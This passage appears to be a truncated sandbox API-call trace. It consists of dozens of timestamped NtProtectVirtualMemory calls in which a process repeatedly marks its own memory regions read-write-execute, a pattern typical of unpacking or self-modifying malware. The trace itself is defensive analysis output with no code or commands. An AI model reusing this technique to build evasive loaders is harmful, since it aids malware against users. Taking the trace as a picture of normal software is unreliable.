BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.706] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.717] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.727] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.738] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.755] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.766] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.777] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.787] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.804] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.814] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.825] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.855] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.865] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.875] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.892] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.902] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.912] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.940] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.950] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.961] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.971] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.988] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.999] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.009] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.019] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.036] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.047] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.058] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.073] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.105] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.116] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.127] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.155] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.165] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.176] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.215] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.226] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.238] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.255] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.266] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.287] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.304] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.315] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.345] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.363] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.381] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.407] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.419] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.429] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.447] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.457] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.468] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.485] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.496] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.507] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.523] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.551] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.566] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.592] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.607] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.646] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.661] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.676] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.701] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.716] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.741] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.757] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.772] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.797] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.813] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.842] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.857] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.875] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.886] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.897] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.907] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.935] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.945] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.956] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.973] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.983] NtProtectVirtualMemory (in: 